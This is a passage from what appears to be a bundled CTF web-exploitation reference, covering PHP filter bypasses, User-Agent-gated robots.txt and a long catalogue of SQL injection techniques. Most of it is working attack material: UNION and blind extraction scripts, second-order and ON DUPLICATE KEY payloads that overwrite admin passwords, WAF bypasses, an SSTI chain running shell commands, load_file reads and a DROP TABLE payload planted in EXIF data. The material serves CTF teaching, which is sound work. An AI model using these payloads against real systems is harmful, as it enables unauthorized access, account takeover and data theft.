(strpos($file, '/etc/passwd') == true) die();`. `strpos` returns the *position* of the substring (or `false`), so the filter only blocks paths that contain the literal string. Any traversal that ends in a different file passes the check.\n\n```php\n# Bypass: file=../../TheEgg.html — strpos returns false, include proceeds\n```\n\nAlso: `strpos(...) == true` (loose comparison) is true for any non-zero offset; the subtle version of this bug blocks substring matches at offset `>=1` but allows substring matches at offset `0`.\n\n**Key insight:** `strpos()`, `str_contains()`, and `preg_match()` are identification checks, not validation. For filename/path safety, resolve the full path with `realpath()` and compare against an allowlisted root.\n\n**References:** TUCTF 2018 — Easter Egg: Crystal Gate, writeup 12380\n\n---\n\n## User-Agent-Gated robots.txt (TAMUctf 2019)\n\n**Pattern:** `/robots.txt` serves different bodies depending on the `User-Agent`. Humans (default UAs) see a decoy file; crawler UAs such as `Googlebot/2.1` see the real `Disallow:` list — which is where the challenge hides paths.\n\n```bash\n# Decoy\ncurl -s http://target/robots.txt\n# \"WHAT IS UP, MY FELLOW HUMAN! ...\"\n\n# Real file\ncurl -s -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' \\\n http://target/robots.txt\n# User-agent: Googlebot\n# Disallow: /super-secret-admin-panel/\n# Disallow: /flag-is-here.txt\n```\n\nAlways rotate through common crawler UAs when recon reveals a themed robots.txt decoy:\n\n```bash\nfor UA in \\\n 'Googlebot/2.1' \\\n 'Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)' \\\n 'Mozilla/5.0 (compatible; YandexBot/3.0)' \\\n 'facebookexternalhit/1.1' \\\n 'Slackbot-LinkExpanding 1.0' \\\n 'Twitterbot/1.0'; do\n echo \"=== $UA ===\"\n curl -s -A \"$UA\" http://target/robots.txt\ndone\n```\n\n**Key insight:** Bot-specific content negotiation on `robots.txt` (and `sitemap.xml`, `/.well-known/*`, home pages) can disclose paths normally hidden from human browsers. Always test with `User-Agent: Googlebot/2.1` and the other major crawler signatures — the same bypass also works on paywalls that allow bots to index content and on WAFs that allowlist crawlers by UA alone.\n\n**References:** TAMUctf 2019 — Robots Rule, writeup 13707\n\n---\n\n## PHP log()/INF Math Equality + Recursive urldecode() (Pragyan CTF 2019)\n\n**Pattern 1 — INF == INF:** PHP's `log()`/`log10()` of a huge float returns `INF`, and `INF == INF` is true. A gate like\n```php\n$a = hash('sha256', $a); // 64 hex chars, e.g. \"a...\" -> string\n$a = (log10($a ** 0.5)) ** 2; // \"a...\" ** 0.5 -> INF, log10(INF) -> INF, **2 -> INF\nif ($c > 0 && $d > 0 && $d > $c && $a == $c*$c + $d*$d) { /* pass */ }\n```\npasses whenever `$c*$c + $d*$d` is also INF. `7e1000` (over `DBL_MAX`) is `INF` in PHP, so `val3=1&val4=7E1000` satisfies the `$d > $c` ordering with both sides INF.\n\n**Pattern 2 — Recursive urldecode loop:** A loop requires `$b != urldecode($b)` ten times and the final value to equal `\"WoAHh!\"`. `%25` decodes to `%`, so each pass peels one layer: encode the first character nine times.\n```\nWoAHh! -> %57oAHh! -> %2557oAHh! -> ... (10 layers) -> %2525252525252525252557oAHh!\n```\n\n```bash\ncurl 'http://target/?val1=a&val2=1&val3=1&val4=7E1000&val5=a&val6=%2525252525252525252557oAHh!'\n```\n\n**Key insight:** PHP float comparison accepts `INF == INF`; any math-style equality check becomes trivial if you can push both sides past `DBL_MAX`. Hashes stringified into floats collapse to 0 or INF, so `sha256(x) ** 0.5` and `log*()` are classic \"juggling\" primitives. For recursive decoder loops, the fixed point of repeated urldecode is \"no `%` left\"; encode one character N times with `%25` padding to force exactly N passes.\n\n**References:** Pragyan CTF 2019 — Mandatory PHP, writeup 13837\n\n---\n\nSee [server-side-2.md](server-side-2.md) for XXE, XML injection, command injection, GraphQL, and the remaining PHP-specific tricks (variable variables, uniqid, sequential regex bypass).\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":30125,"content_sha256":"2fb3a9245a5dc3b317f3e96b0c21a23c4717dc12c95e7cf6e185bb1e7b4a7b98"},{"filename":"sql-injection.md","content":"# CTF Web - SQL Injection Techniques\n\nComprehensive SQL injection techniques for CTF challenges. For other server-side attacks (SSTI, SSRF, XXE, command injection, GraphQL), see [server-side.md](server-side.md).\n\n## Table of Contents\n- [Backslash Escape Quote Bypass](#backslash-escape-quote-bypass)\n- [Hex Encoding for Quote Bypass](#hex-encoding-for-quote-bypass)\n- [Second-Order SQL Injection](#second-order-sql-injection)\n- [SQLi LIKE Character Brute-Force](#sqli-like-character-brute-force)\n- [MySQL Column Truncation (VolgaCTF 2014)](#mysql-column-truncation-volgactf-2014)\n- [SQLi to SSTI Chain](#sqli-to-ssti-chain)\n- [MySQL information_schema.processList Trick](#mysql-information_schemaprocesslist-trick)\n- [WAF Bypass via XML Entity Encoding (Crypto-Cat)](#waf-bypass-via-xml-entity-encoding-crypto-cat)\n- [SQLi via EXIF Metadata Injection (29c3 CTF 2012)](#sqli-via-exif-metadata-injection-29c3-ctf-2012)\n- [Shift-JIS Encoding SQL Injection (Boston Key Party 2016)](#shift-jis-encoding-sql-injection-boston-key-party-2016)\n- [SQL Injection via QR Code Input (H4ckIT CTF 2016)](#sql-injection-via-qr-code-input-h4ckit-ctf-2016)\n- [SQL Double-Keyword Filter Bypass (DefCamp CTF 2016)](#sql-double-keyword-filter-bypass-defcamp-ctf-2016)\n- [MySQL Session Variable for Dual-Value Injection (MeePwn CTF 2017)](#mysql-session-variable-for-dual-value-injection-meepwn-ctf-2017)\n- [PHP PCRE Backtrack Limit WAF Bypass (SECUINSIDE 2017)](#php-pcre-backtrack-limit-waf-bypass-secuinside-2017)\n- [information_schema.processlist Race Condition Leak (SECUINSIDE 2017)](#information_schemaprocesslist-race-condition-leak-secuinside-2017)\n- [SQL BETWEEN Operator Tautology Bypass (DefCamp 2017)](#sql-between-operator-tautology-bypass-defcamp-2017)\n- [Host Header SQL Injection with PROCEDURE ANALYSE() (DefCamp 2017)](#host-header-sql-injection-with-procedure-analyse-defcamp-2017)\n- [SQLite Blind SQLi via randomblob() Timing (SECCON 2017)](#sqlite-blind-sqli-via-randomblob-timing-seccon-2017)\n- [vsprintf Double-Prepare Format String SQLi (AceBear 2018)](#vsprintf-double-prepare-format-string-sqli-acebear-2018)\n- [SQL INSERT ON DUPLICATE KEY UPDATE Password Overwrite (Midnight Sun CTF 2018)](#sql-insert-on-duplicate-key-update-password-overwrite-midnight-sun-ctf-2018)\n- [MySQL innodb_table_stats as information_schema Alternative (N1CTF 2018)](#mysql-innodb_table_stats-as-information_schema-alternative-n1ctf-2018)\n- [SQLi Inline Comment Multi-Field Split (picoCTF 2018)](#sqli-inline-comment-multi-field-split-picoctf-2018)\n- [PHP Full-Width Dollar Regex Anchor Bypass (Hack.lu CTF 2018)](#php-full-width-dollar-regex-anchor-bypass-hacklu-ctf-2018)\n- [MySQL REGEXP Byte-by-Byte Oracle + Backtick Comment Bypass (BSides Delhi 2018)](#mysql-regexp-byte-by-byte-oracle--backtick-comment-bypass-bsides-delhi-2018)\n- [LDAP Filter Breakout with Wildcard Injection (CSAW 2018)](#ldap-filter-breakout-with-wildcard-injection-csaw-2018)\n- [ExpressionEngine FileManager ORDER BY Sort-Key SQLi (35C3 2018)](#expressionengine-filemanager-order-by-sort-key-sqli-35c3-2018)\n- [PHP parse_str() Variable Injection (TokyoWesterns 2018)](#php-parse_str-variable-injection-tokyowesterns-2018)\n- [SQLite UNION via X-Forwarded-For with PHPSESSID Oracle (NCSC 2019)](#sqlite-union-via-x-forwarded-for-with-phpsessid-oracle-ncsc-2019)\n- [Quote-Adjacent UNION Keyword Filter Bypass (TAMUctf 2019)](#quote-adjacent-union-keyword-filter-bypass-tamuctf-2019)\n\n---\n\n## Backslash Escape Quote Bypass\n```bash\n# Query: SELECT * FROM users WHERE username='$user' AND password='$pass'\n# With username=\\ : WHERE username='\\' AND password='...'\ncurl -X POST http://target/login -d 'username=\\&password= OR 1=1-- '\ncurl -X POST http://target/login -d 'username=\\&password=UNION SELECT value,2 FROM flag-- '\n```\n\n## Hex Encoding for Quote Bypass\n```sql\nSELECT 0x6d656f77; -- Returns 'meow'\n-- Combined with UNION for SSTI injection:\nusername=asd\\&password=) union select 1, 0x7b7b73656c662e5f5f696e69745f5f7d7d#\n```\n\n## Second-Order SQL Injection\n**Pattern (Second Breakfast):** Inject SQL in username during registration, triggers on profile view.\n1. Register with malicious username: `' UNION select flag, CURRENT_TIMESTAMP from flags where 'a'='a`\n2. Login normally\n3. View profile → injected SQL executes in query using stored username\n\n```python\nimport requests\n\ns = requests.Session()\n\n# Step 1: Store malicious payload (safely escaped during INSERT)\ns.post(\"https://target.com/register\", data={\n \"username\": \"admin'-- -\",\n \"password\": \"anything\"\n})\n\n# Step 2: Trigger — payload retrieved from DB and used unsafely\n# Common triggers: password change, profile update, search using stored value\ns.post(\"https://target.com/change-password\", data={\n \"old_password\": \"anything\",\n \"new_password\": \"hacked\"\n})\n# UPDATE users SET password='hacked' WHERE username='admin'-- -'\n# Result: admin password changed\n```\n\n**Key insight:** Second-order SQLi occurs when input is safely stored but later retrieved and used in a new query without escaping. Look for registration→profile update flows, stored preferences used in queries, or any feature that reads back user-controlled data from the database.\n\n## SQLi LIKE Character Brute-Force\n```python\npassword = \"\"\nfor pos in range(length):\n for c in string.printable:\n payload = f\"' OR password LIKE '{password}{c}%' --\"\n if oracle(payload):\n password += c; break\n```\n\n## MySQL Column Truncation (VolgaCTF 2014)\n\n**Pattern:** Registration form backed by MySQL `VARCHAR(N)`. MySQL silently truncates strings longer than N characters, and ignores trailing spaces in string comparison. Register as `\"admin\" + spaces + junk` to create a duplicate \"admin\" row with an attacker-controlled password.\n\n```bash\n# VARCHAR(20) column — pad \"admin\" (5 chars) to exceed column width\n# MySQL truncates to \"admin \" → matches \"admin\" in comparisons\n\n# Register duplicate admin with attacker password\ncurl -X POST http://target/register -d \\\n 'login=admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20x&password=attacker123'\n\n# Login as admin with attacker password\ncurl -X POST http://target/login -d 'login=admin&password=attacker123'\n```\n\n**Why it works:**\n1. MySQL `VARCHAR(N)` truncates input to N characters on INSERT\n2. MySQL ignores trailing spaces in `=` comparisons (SQL standard PAD SPACE behavior)\n3. `\"admin\" + 50 spaces + \"x\"` truncates to `\"admin\" + spaces` → matches `\"admin\"`\n4. The application now has two rows matching \"admin\" — the original and the attacker's\n\n**Key insight:** MySQL's PAD SPACE collation means `\"admin\" = \"admin \"` evaluates to true. Combined with silent `VARCHAR` truncation, registering with a space-padded username creates a second account that the application treats as the original admin. This bypasses registration duplicate checks that use `WHERE username = ?` (since the padded version isn't an exact match before truncation). Fixed in MySQL 8.0+ with `NO_PAD` collations.\n\n## SQLi to SSTI Chain\nWhen SQLi result gets rendered in a template:\n```python\npayload = \"{{self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read()}}\"\nhex_payload = '0x' + payload.encode().hex()\n# Final: username=x\\&password=) union select 1, {hex_payload}#\n```\n\n## MySQL information_schema.processList Trick\n```sql\nSELECT info FROM information_schema.processList WHERE id=connection_id()\nSELECT substring(info, 315, 579) FROM information_schema.processList WHERE id=connection_id()\n```\n\n## WAF Bypass via XML Entity Encoding (Crypto-Cat)\nWhen SQL keywords (`UNION`, `SELECT`) are blocked by a WAF, encode them as XML hex character references. The XML parser decodes entities before the SQL engine processes the query:\n```xml\n\u003cstoreId>\n 1 UNION SELECT username FROM users\n\u003c/storeId>\n```\nThis decodes to `1 UNION SELECT username FROM users` after XML processing.\n\n**Encoding reference:**\n| Keyword | XML Hex Entities |\n|---------|-----------------|\n| UNION | `UNION` |\n| SELECT | `SELECT` |\n| FROM | `FROM` |\n| WHERE | `WHERE` |\n\n**Key insight:** WAF inspects raw XML bytes and blocks keyword patterns, but the XML parser decodes `&#xNN;` entities before passing values to the SQL layer. Any endpoint accepting XML input (SOAP, REST with XML body, stock check APIs) is a candidate.\n\n**With sqlmap:** Use the `hexentities` tamper script. To prevent `&` double-encoding of entities, modify `sqlmap/lib/request/connect.py`.\n\n## SQLi via EXIF Metadata Injection (29c3 CTF 2012)\n\n**Pattern:** Application extracts EXIF metadata from uploaded images (e.g., Comment, Artist, Description, Copyright) and inserts the values into SQL queries without sanitization. SQL payloads embedded in EXIF fields bypass WAFs that only inspect HTTP request bodies and URL parameters.\n\n**Injecting SQL into EXIF fields:**\n```bash\n# Set EXIF Comment field to SQL payload\nexiftool -Comment=\"' UNION SELECT password FROM users--\" image.jpg\n\n# Other injectable EXIF fields\nexiftool -Artist=\"' OR 1=1--\" image.jpg\nexiftool -ImageDescription=\"'; DROP TABLE uploads;--\" image.jpg\nexiftool -Copyright=\"' UNION SELECT flag FROM flags--\" image.jpg\n\n# XMP metadata (often parsed by web applications)\nexiftool -XMP-dc:Description=\"' UNION SELECT 1,2,3--\" image.jpg\n```\n\n**Key insight:** Image galleries, photo management apps, and any upload endpoint that stores or displays EXIF data may feed metadata directly into SQL queries. WAFs and input filters typically inspect form fields and URL parameters but not binary file content. The EXIF fields survive re-encoding unless the application explicitly strips metadata (e.g., with `exiftool -all=`).\n\n**Detection:** Upload endpoint that displays metadata (camera model, description, location) after upload. Check if special characters in EXIF fields cause SQL errors in the response.\n\n## Shift-JIS Encoding SQL Injection (Boston Key Party 2016)\n\nMulti-byte encoding mismatch bypasses escape functions. The yen sign (`\\u00a5`) maps to backslash `0x5c` in Shift-JIS. A custom escape function adds backslash after yen, but in Shift-JIS context `\\u00a5\\` becomes `\\\\`, leaving the quote unescaped:\n\n```javascript\nsocket.send('{\"type\":\"get_answer\",\"answer\":\"\\\\u00a5\\\\\" OR 1=1 -- \"}')\n```\n\n**Key insight:** Charset mismatch between escaping layer (Unicode) and database layer (Shift-JIS) defeats custom escape routines. Look for applications using non-UTF-8 character encodings (Shift-JIS, EUC-JP, GBK) where multi-byte characters contain `0x5c` (backslash) as a trailing byte.\n\n## SQL Injection via QR Code Input (H4ckIT CTF 2016)\n\nApplications that decode QR codes and use the contents in SQL queries create an injection vector through the QR image itself.\n\n```python\nimport qrcode\nimport base64\nimport requests\n\n# Generate QR code containing SQL injection payload\n# Spaces may be filtered - use tabs instead\npayload = \"'\\tunion\\tselect\\tsecret_field\\tfrom\\tmessages\\twhere\\tsecret_field\\tlike\\t'%flag%\"\n\n# Some apps use reversed base64: encode, reverse, then QR-encode\nencoded = base64.b64encode(payload.encode()).decode().strip()\n# reversed_encoded = encoded[::-1] # if app reverses base64\n\n# Generate QR code image\nimg = qrcode.make(payload)\nimg.save(\"sqli_qr.png\")\n\n# Upload QR code to target application\nfiles = {'qr': open('sqli_qr.png', 'rb')}\nr = requests.post('http://target/scan', files=files)\n```\n\n**Key insight:** QR codes are often trusted as \"safe\" input. When decoded QR content flows into SQL queries, standard SQLi techniques apply but with tab characters (`\\t`) replacing spaces when space filtering is active. The QR encoding adds an obfuscation layer that may bypass WAFs.\n\n## SQL Double-Keyword Filter Bypass (DefCamp CTF 2016)\n\nBypass SQL keyword filters that perform single-pass removal by nesting the keyword inside itself, so removal reveals the original keyword.\n\n```text\n# Filter removes \"select\" once from input\n# Payload: sselectelect -> after removal -> select\n\n# Full injection with nested keywords:\n), ((selselectect * frofromm (seselectlect load_load_filefile('/flag')) as a limit 0, 1), '2') #\n\n# Common nested bypass patterns:\n# \"select\" blocked: sselectelect, seLselectECT\n# \"union\" blocked: ununionion\n# \"from\" blocked: frofromm\n# \"where\" blocked: whewherere\n# \"load_file\" blocked: load_load_filefile\n# \"and\" blocked: aandnd\n# \"or\" blocked: oorr\n```\n\n**Key insight:** Single-pass keyword filters that replace/remove SQL keywords once are trivially bypassed by embedding the keyword within itself. The outer characters survive removal, reconstructing the forbidden keyword. Always test if the filter runs iteratively or just once.\n\n## MySQL Session Variable for Dual-Value Injection (MeePwn CTF 2017)\n\nWhen the same SQL parameter is evaluated in two sequential queries within a single database connection, MySQL session variables (`@var:=`) can return different values on each evaluation.\n\n```sql\n-- First eval returns 2, second returns 1\ncase when @wurst is null then @wurst:=2 else @wurst:=@wurst-1 end\n```\n\n**Example scenario:**\n```sql\n-- Application runs two queries with the same injected parameter:\n-- Query 1: SELECT * FROM users WHERE role = [INJECTION]\n-- Query 2: INSERT INTO log (action) VALUES ([INJECTION])\n-- Need role=2 for admin in Query 1, but action=1 to avoid alert in Query 2\n\n-- Injection:\n' OR role = (case when @w is null then @w:=2 else @w:=@w-1 end) --\n```\n\n**Key insight:** Session variables persist across queries within a connection. Using `CASE WHEN @var IS NULL` initializes on first use and mutates on subsequent uses, allowing a single injection point to satisfy different conditions in sequential queries. This is useful when the same user input is interpolated into multiple SQL statements executed in sequence.\n\n## PHP PCRE Backtrack Limit WAF Bypass (SECUINSIDE 2017)\n\nPHP's `preg_match()` silently returns `false` (not `0`) when the PCRE backtrack limit is exceeded. Appending 1M+ characters to input forces backtracking beyond the default limit (1,000,000), causing the regex to fail to match.\n\n```python\n# Bypass preg_match WAF by exceeding backtrack limit\npayload = \"union select 1,2,3-- \" + \"a\" * 1000001\n# preg_match returns false (error) instead of 0 (no match)\n# Most PHP code checks: if (!preg_match(...)) { allow; }\n```\n\n```php\n// Vulnerable WAF pattern:\nif (!preg_match('/union|select|from/i', $_GET['input'])) {\n // preg_match returns false on backtrack overflow\n // !false === true → WAF bypassed\n $result = mysql_query(\"SELECT * FROM data WHERE id = \" . $_GET['input']);\n}\n```\n\n**Key insight:** PHP's PCRE backtrack limit (`pcre.backtrack_limit`, default 1M) causes `preg_match()` to return `false` on overflow, which many WAFs treat as \"no match\" due to loose comparison (`!false == true`). The fix is to check `preg_match() === 0` (strict comparison) rather than `!preg_match()`. This works against any regex-based WAF in PHP that uses loose comparison on the return value.\n\n## information_schema.processlist Race Condition Leak (SECUINSIDE 2017)\n\nRace SQL injection against concurrent requests to leak data from `information_schema.processlist`, which shows currently executing queries including sensitive values like encryption keys.\n\n```sql\n-- Leak AES key from concurrent query via processlist\nunion select 1,(select INFO from information_schema.processlist\n where INFO like 0x256465637279707425),3,4 from board\n-- The '%decrypt%' hex pattern matches the concurrent query containing the key\n```\n\n```python\nimport requests\nimport threading\n\n# Race condition: fire injection while the app is running a sensitive query\ndef trigger_sensitive_query():\n \"\"\"Application query that contains the AES key\"\"\"\n requests.get(\"http://target/decrypt?data=encrypted_blob\")\n\ndef leak_processlist():\n \"\"\"Injection that reads from processlist\"\"\"\n payload = \"1 union select 1,(select INFO from information_schema.processlist where INFO like 0x256465637279707425),3,4-- \"\n r = requests.get(f\"http://target/search?id={payload}\")\n if \"AES_DECRYPT\" in r.text:\n print(f\"Leaked: {r.text}\")\n\n# Fire both concurrently\nfor _ in range(100):\n t1 = threading.Thread(target=trigger_sensitive_query)\n t2 = threading.Thread(target=leak_processlist)\n t1.start()\n t2.start()\n t1.join()\n t2.join()\n```\n\n**Key insight:** `information_schema.processlist.INFO` exposes the full SQL text of all currently running queries on the MySQL server. By racing an injection query against a concurrent application query that references secrets, those secrets can be captured from the process list. This extends the existing `information_schema.processList` trick by adding a timing/race component to capture transient queries that contain secrets (encryption keys, passwords) only visible during execution.\n\n---\n\n## SQL BETWEEN Operator Tautology Bypass (DefCamp 2017)\n\n**Pattern:** When a WAF blocks comparison operators (`=`, `\u003c`, `>`) and numeric literals, use `id BETWEEN id AND id` as a tautology. Both bounds are column references (not filtered literals), and the expression is always true since a value is always between itself and itself.\n\n```sql\n-- Blocked by WAF: digits and comparison operators filtered\n-- id=1 → blocked, id>0 → blocked, 1=1 → blocked\n\n-- BETWEEN with column names as bounds (always true):\nid BETWEEN id AND id -- semantically: id \u003c= id AND id >= id → always true\n\n-- Full bypass with UNION:\n' OR id BETWEEN id AND id UNION SELECT flag,2,3 FROM flags--\n\n-- When even UNION is blocked, use with conditional:\nid BETWEEN id AND id AND (SELECT SUBSTR(flag,1,1) FROM flags) BETWEEN 'a' AND 'z'\n```\n\n```python\nimport requests\n\ndef sqli_between(position, low_char, high_char):\n \"\"\"Binary search using BETWEEN for character-by-character extraction.\"\"\"\n payload = (\n f\"' OR id BETWEEN id AND id \"\n f\"AND SUBSTR((SELECT flag FROM flags LIMIT 1),{position},1) \"\n f\"BETWEEN '{low_char}' AND '{high_char}'-- \"\n )\n r = requests.get(\"http://target/item\", params={\"id\": payload})\n return \"result\" in r.text # truthy response = condition matched\n```\n\n**Combining with schema enumeration when `information_schema` is blocked:**\n```sql\n-- PROCEDURE ANALYSE() as alternative (see next technique)\nSELECT * FROM users WHERE id BETWEEN id AND id PROCEDURE ANALYSE()\n```\n\n**Key insight:** SQL `BETWEEN col AND col` with the same column as both bounds is semantically a tautology but syntactically avoids digit and comparison operator signatures. Combine with string column references for blind extraction when numeric literals and `=`/`\u003c`/`>` are filtered.\n\n---\n\n## Host Header SQL Injection with PROCEDURE ANALYSE() (DefCamp 2017)\n\n**Pattern:** The HTTP `Host` header is used in a SQL query (e.g., to log access or resolve virtual hosts) without sanitization. Since Host is rarely tested by WAFs, standard injection techniques work. When `information_schema` is blocked, MySQL's `PROCEDURE ANALYSE()` provides table and column enumeration.\n\n```bash\n# Test: inject into Host header\ncurl -H \"Host: ' OR '1'='1'--\" http://target/\n# If response differs → Host header is injected into SQL\n\n# UNION injection via Host header:\ncurl -H \"Host: ' UNION SELECT table_name,2,3 FROM information_schema.tables-- \" http://target/\n\n# When information_schema is blocked, use PROCEDURE ANALYSE():\ncurl -H \"Host: ' UNION SELECT * FROM users PROCEDURE ANALYSE()-- \" http://target/\n# PROCEDURE ANALYSE() returns column types and suggested data types, leaking column names\n```\n\n```python\nimport requests\n\nTARGET = \"http://target/\"\n\ndef host_sqli(payload):\n r = requests.get(TARGET, headers={\"Host\": payload})\n return r.text\n\n# Enumerate tables via PROCEDURE ANALYSE() when information_schema blocked:\n# First: get column names from a known/guessed table\nresult = host_sqli(\"' UNION SELECT username,password FROM users PROCEDURE ANALYSE()-- \")\nprint(result)\n\n# PROCEDURE ANALYSE() output includes: field names, min/max values, optimal data type\n# This leaks column names, row counts, and sample values\n```\n\n**PROCEDURE ANALYSE() output structure:**\n```sql\n-- Returns rows like:\n-- Field_name: database.table.column\n-- Min_value / Max_value: actual data ranges\n-- Optimal_fieldtype: suggested column type\n-- The \"Field_name\" column leaks fully qualified column names: db.table.column\n```\n\n**Other Host header injection vectors:**\n```text\nX-Forwarded-For # logged to DB as client IP\nX-Real-IP # same\nUser-Agent # logged for analytics\nReferer # logged for referral tracking\n```\n\n**Key insight:** `PROCEDURE ANALYSE()` is a MySQL-specific alternative to `information_schema` for schema enumeration — it analyzes the result set and returns column metadata. Host header injection is often overlooked by WAFs and developers because it's not a typical user input field, yet it frequently flows into SQL queries for logging, virtual hosting, or analytics.\n\n---\n\n## SQLite Blind SQLi via randomblob() Timing (SECCON 2017)\n\n**Pattern:** SQLite has no `SLEEP()` function. Use `randomblob(N)` as a time-based blind injection primitive -- generating a large random blob creates a measurable delay proportional to the argument size.\n\n```sql\n-- Basic time-based blind test: if the condition is true, randomblob() introduces delay\nadmin' and 1=randomblob(300000000)--\n\n-- Character-by-character password extraction via LIKE:\nadmin' and password like 'f%' and 1=randomblob(300000000)--\nadmin' and password like 'fl%' and 1=randomblob(300000000)--\nadmin' and password like 'fla%' and 1=randomblob(300000000)--\nadmin' and password like 'flag%' and 1=randomblob(300000000)--\n```\n\n```python\nimport requests\nimport time\nimport string\n\nurl = \"http://target/login\"\nknown = \"\"\n\nfor pos in range(32):\n for c in string.ascii_lowercase + string.digits + \"_{}\":\n payload = f\"admin' and password like '{known}{c}%' and 1=randomblob(300000000)--\"\n start = time.time()\n requests.post(url, data={\"username\": payload, \"password\": \"x\"})\n elapsed = time.time() - start\n if elapsed > 2.0: # threshold: randomblob(300M) takes ~2-3 seconds\n known += c\n print(f\"Found: {known}\")\n break\n```\n\n**Key insight:** `randomblob()` generates random data proportional to the argument size, creating measurable delays. This is the SQLite equivalent of MySQL's `SLEEP()` or PostgreSQL's `pg_sleep()`. Adjust the argument (e.g., `300000000`) based on server performance to get a reliable timing difference. Other SQLite delay alternatives include `zeroblob()` and recursive CTEs, but `randomblob()` is the most reliable.\n\n---\n\n## vsprintf Double-Prepare Format String SQLi (AceBear 2018)\n\n**Pattern:** When user input passes through `vsprintf()` twice (once for formatting, once for query building), format specifiers like `%1$c` in the first pass produce characters that bypass string-level escaping. The integer `39` converts to ASCII `'` (single quote) via `%c`, defeating `mysqli_real_escape_string`.\n\n```text\n# Attack parameters:\nusername=39&password=%1$c+or+1=1--+-\n\n# Server-side processing:\n# 1. Input is escaped: mysqli_real_escape_string has nothing to escape in \"39\" or \"%1$c or 1=1-- -\"\n# 2. vsprintf processes the query template:\n# vsprintf(\"SELECT * FROM users WHERE user='%1$c or 1=1-- -' AND pass='%s'\", [39, ...])\n# 3. %1$c converts argument 39 → chr(39) → ' (single quote)\n# 4. Result: WHERE user='' or 1=1-- -' AND pass='...'\n# → authentication bypass\n```\n\n```python\nimport requests\n\n# Step 1: Bypass login\nr = requests.post(\"http://target/login\", data={\n \"username\": \"39\",\n \"password\": \"%1$c or 1=1-- -\"\n})\n\n# Step 2: Extract data with UNION\nr = requests.post(\"http://target/login\", data={\n \"username\": \"39\",\n \"password\": \"%1$c union select 1,group_concat(flag),3 from flags-- -\"\n})\n```\n\n**Key insight:** `%c` in `vsprintf` converts an integer to a character, bypassing string-level escaping. If user input passes through `vsprintf` twice (once for formatting, once for query building), format specifiers in the first input become SQL injection vectors in the second pass. The key trick is sending `39` as one parameter (ASCII code for single quote) and `%1$c` as another to reference that parameter as a character. Look for PHP code that chains `sprintf`/`vsprintf` with query construction.\n\n---\n\n### SQL INSERT ON DUPLICATE KEY UPDATE Password Overwrite (Midnight Sun CTF 2018)\n\n**Pattern:** When you can inject into an INSERT statement but SELECT is revoked, use MySQL's `ON DUPLICATE KEY UPDATE` clause to overwrite an existing user's password. The clause triggers when the INSERT would violate a UNIQUE constraint, updating the existing row instead.\n\n```sql\n-- Vulnerable INSERT:\nINSERT INTO users (id, username, password) VALUES ('', 'USER_INPUT', 'PASS_INPUT')\n\n-- Injection in username field:\n'),('','root','z')ON DUPLICATE KEY UPDATE password='l'#\n\n-- Resulting query:\nINSERT INTO users (id, username, password) VALUES ('', ''),('','root','z')ON DUPLICATE KEY UPDATE password='l'#', 'PASS_INPUT')\n-- This inserts a row for 'root' and when the UNIQUE constraint on username conflicts,\n-- it updates the existing root user's password to 'l'\n```\n\n```python\nimport requests\n\n# Overwrite the root user's password via ON DUPLICATE KEY UPDATE\npayload_username = \"'),('','root','z')ON DUPLICATE KEY UPDATE password='hacked'#\"\nr = requests.post(\"http://target/register\", data={\n \"username\": payload_username,\n \"password\": \"anything\"\n})\n\n# Now login as root with the overwritten password\nr = requests.post(\"http://target/login\", data={\n \"username\": \"root\",\n \"password\": \"hacked\"\n})\nprint(r.text)\n```\n\n**Key insight:** MySQL's `ON DUPLICATE KEY UPDATE` clause in INSERT statements can modify existing rows when a UNIQUE constraint conflicts, enabling password overwrite without SELECT privileges. This is particularly useful when the database user has INSERT but not SELECT permissions, making traditional UNION-based extraction impossible. Look for registration or user creation endpoints with injectable INSERT queries.\n\n---\n\n### MySQL innodb_table_stats as information_schema Alternative (N1CTF 2018)\n\n**Pattern:** When a WAF blocks access to `information_schema`, use `mysql.innodb_table_stats` to enumerate database and table names. This system table contains metadata about InnoDB tables and is often not included in WAF rules.\n\n```sql\n-- Direct query (if not blind):\nSELECT group_concat(table_name) FROM mysql.innodb_table_stats WHERE database_name=database()\n\n-- Also available:\nSELECT group_concat(database_name) FROM mysql.innodb_table_stats\n```\n\n```python\n# Boolean-based blind extraction via innodb_table_stats:\nimport requests\nimport string\n\ndef blind_extract(url):\n result = \"\"\n for pos in range(1, 100):\n found = False\n for char in string.ascii_lowercase + string.digits + \"_,\":\n payload = (\n \"'or(if(1,(select(substr((select(group_concat(table_name))\"\n f\" from mysql.innodb_table_stats where database_name=database()),{pos},1))\"\n f\"='{char}'),1)=1)#\"\n )\n r = requests.post(url, data={\"input\": payload})\n if \"success\" in r.text: # adjust oracle condition\n result += char\n found = True\n print(f\"[+] Extracted so far: {result}\")\n break\n if not found:\n break\n return result\n\ntables = blind_extract(\"http://target/search\")\nprint(f\"Tables: {tables}\")\n```\n\n**Other WAF-bypass metadata sources:**\n```sql\n-- mysql.innodb_table_stats: database_name, table_name\n-- mysql.innodb_index_stats: database_name, table_name, index_name\n-- sys.schema_table_statistics: table_schema, table_name (MySQL 5.7+)\n-- sys.x$schema_table_statistics: same, less formatting\n```\n\n**Key insight:** `mysql.innodb_table_stats` contains `database_name` and `table_name` columns, providing an alternative metadata source when `information_schema` access is filtered by WAF rules. Unlike `information_schema`, it only tracks InnoDB tables (not column names), so combine with error-based or blind techniques to discover column names after finding tables.\n\n---\n\n## SQLi Inline Comment Multi-Field Split (picoCTF 2018)\n\n**Pattern:** A regex filter checks the username field but leaves the password field unfiltered. Start a MySQL inline comment `/*` in username and close it `*/` in password, splitting the injection across two fields so no single field triggers the filter alone.\n\n```text\n# Vulnerable query (after PHP concatenation):\nSELECT * FROM users WHERE name='\u003cusername>' AND password='\u003cpassword>'\n\n# Payload:\nusername = '/*\npassword = */ OR 1=1 --\n\n# Final query MySQL sees:\nSELECT * FROM users WHERE name='/*' AND password='*/ OR 1=1 -- '\n# After comment removal:\nSELECT * FROM users WHERE name=' OR 1=1 -- '\n```\n\n```python\nimport requests\nr = requests.post(\"http://target/login\", data={\n \"username\": \"'/*\",\n \"password\": \"*/ OR 1=1 -- \"\n})\n```\n\n**Key insight:** MySQL `/* ... */` comments span across string delimiters and field boundaries when the filter runs before interpolation, not after. Any validator that checks one field at a time misses the full injected string. When a 